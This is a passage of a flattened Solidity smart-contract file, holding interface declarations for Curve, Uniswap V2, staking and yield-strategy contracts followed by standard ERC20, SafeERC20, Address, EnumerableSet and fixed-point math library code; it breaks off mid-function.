add_liquidity(uint256[4] calldata amounts, uint256 min_mint_amount) external; function remove_liquidity_imbalance( uint256[4] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; function balances(int128) external view returns (uint256); } interface ICurveZap_4 { function add_liquidity( uint256[4] calldata uamounts, uint256 min_mint_amount ) external; function remove_liquidity(uint256 _amount, uint256[4] calldata min_uamounts) external; function remove_liquidity_imbalance( uint256[4] calldata uamounts, uint256 max_burn_amount ) external; function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external returns (uint256); function remove_liquidity_one_coin( uint256 _token_amount, int128 i, uint256 min_uamount ) external; function remove_liquidity_one_coin( uint256 _token_amount, int128 i, uint256 min_uamount, bool donate_dust ) external; function withdraw_donated_dust() external; function coins(int128 arg0) external returns (address); function underlying_coins(int128 arg0) external returns (address); function curve() external returns (address); function token() external returns (address); } interface ICurveZap { function remove_liquidity_one_coin( uint256 _token_amount, int128 i, uint256 min_uamount ) external; } interface ICurveGauge { function deposit(uint256 _value) external; function deposit(uint256 _value, address addr) external; function balanceOf(address arg0) external view returns (uint256); function withdraw(uint256 _value) external; function withdraw(uint256 _value, bool claim_rewards) external; function claim_rewards() external; function claim_rewards(address addr) external; function claimable_tokens(address addr) external returns (uint256); function claimable_reward(address addr) external view returns (uint256); function integrate_fraction(address arg0) external view returns (uint256); } interface ICurveMintr { function mint(address) external; function minted(address arg0, address arg1) external view returns (uint256); } interface ICurveVotingEscrow { function locked(address arg0) external view returns (int128 amount, uint256 end); function locked__end(address _addr) external view returns (uint256); function create_lock(uint256, uint256) external; function increase_amount(uint256) external; function increase_unlock_time(uint256 _unlock_time) external; function withdraw() external; function smart_wallet_checker() external returns (address); } interface ICurveSmartContractChecker { function wallets(address) external returns (bool); function approveWallet(address _wallet) external; } interface IJarConverter { function convert( address _refundExcess, // address to send the excess amount when adding liquidity uint256 _amount, // UNI LP Amount bytes calldata _data ) external returns (uint256); } interface IMasterchef { function BONUS_MULTIPLIER() external view returns (uint256); function add( uint256 _allocPoint, address _lpToken, bool _withUpdate ) external; function bonusEndBlock() external view returns (uint256); function deposit(uint256 _pid, uint256 _amount) external; function dev(address _devaddr) external; function devFundDivRate() external view returns (uint256); function devaddr() external view returns (address); function emergencyWithdraw(uint256 _pid) external; function getMultiplier(uint256 _from, uint256 _to) external view returns (uint256); function massUpdatePools() external; function owner() external view returns (address); function pendingPickle(uint256 _pid, address _user) external view returns (uint256); function pickle() external view returns (address); function picklePerBlock() external view returns (uint256); function poolInfo(uint256) external view returns ( address lpToken, uint256 allocPoint, uint256 lastRewardBlock, uint256 accPicklePerShare ); function poolLength() external view returns (uint256); function renounceOwnership() external; function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) external; function setBonusEndBlock(uint256 _bonusEndBlock) external; function setDevFundDivRate(uint256 _devFundDivRate) external; function setPicklePerBlock(uint256 _picklePerBlock) external; function startBlock() external view returns (uint256); function totalAllocPoint() external view returns (uint256); function transferOwnership(address newOwner) external; function updatePool(uint256 _pid) external; function userInfo(uint256, address) external view returns (uint256 amount, uint256 rewardDebt); function withdraw(uint256 _pid, uint256 _amount) external; } interface OneSplitAudit { function getExpectedReturn( address fromToken, address toToken, uint256 amount, uint256 parts, uint256 featureFlags ) external view returns (uint256 returnAmount, uint256[] memory distribution); function swap( address fromToken, address toToken, uint256 amount, uint256 minReturn, uint256[] calldata distribution, uint256 featureFlags ) external payable; } interface Proxy { function execute( address to, uint256 value, bytes calldata data ) external returns (bool, bytes memory); function increaseAmount(uint256) external; } interface IStakingRewards { function balanceOf(address account) external view returns (uint256); function earned(address account) external view returns (uint256); function exit() external; function getReward() external; function getRewardForDuration() external view returns (uint256); function lastTimeRewardApplicable() external view returns (uint256); function lastUpdateTime() external view returns (uint256); function notifyRewardAmount(uint256 reward) external; function periodFinish() external view returns (uint256); function rewardPerToken() external view returns (uint256); function rewardPerTokenStored() external view returns (uint256); function rewardRate() external view returns (uint256); function rewards(address) external view returns (uint256); function rewardsDistribution() external view returns (address); function rewardsDuration() external view returns (uint256); function rewardsToken() external view returns (address); function stake(uint256 amount) external; function stakeWithPermit( uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function stakingToken() external view returns (address); function totalSupply() external view returns (uint256); function userRewardPerTokenPaid(address) external view returns (uint256); function withdraw(uint256 amount) external; } interface IStakingRewardsFactory { function deploy(address stakingToken, uint256 rewardAmount) external; function isOwner() external view returns (bool); function notifyRewardAmount(address stakingToken) external; function notifyRewardAmounts() external; function owner() external view returns (address); function renounceOwnership() external; function rewardsToken() external view returns (address); function stakingRewardsGenesis() external view returns (uint256); function stakingRewardsInfoByStakingToken(address) external view returns (address stakingRewards, uint256 rewardAmount); function stakingTokens(uint256) external view returns (address); function transferOwnership(address newOwner) external; } interface IStrategy { function rewards() external view returns (address); function gauge() external view returns (address); function want() external view returns (address); function timelock() external view returns (address); function deposit() external; function withdrawForSwap(uint256) external returns (uint256); function withdraw(address) external; function withdraw(uint256) external; function skim() external; function withdrawAll() external returns (uint256); function balanceOf() external view returns (uint256); function harvest() external; function setTimelock(address) external; function setController(address _controller) external; function execute(address _target, bytes calldata _data) external payable returns (bytes memory response); function execute(bytes calldata _data) external payable returns (bytes memory response); } interface UniswapRouterV2 { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function createPair(address tokenA, address tokenB) external returns (address pair); } interface USDT { function approve(address guy, uint256 wad) external; function transfer(address _to, uint256 _value) external; } interface WETH { function name() external view returns (string memory); function approve(address guy, uint256 wad) external returns (bool); function totalSupply() external view returns (uint256); function transferFrom( address src, address dst, uint256 wad ) external returns (bool); function withdraw(uint256 wad) external; function decimals() external view returns (uint8); function balanceOf(address) external view returns (uint256); function symbol() external view returns (string memory); function transfer(address dst, uint256 wad) external returns (bool); function deposit() external payable; function allowance(address, address) external view returns (uint256); } contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return 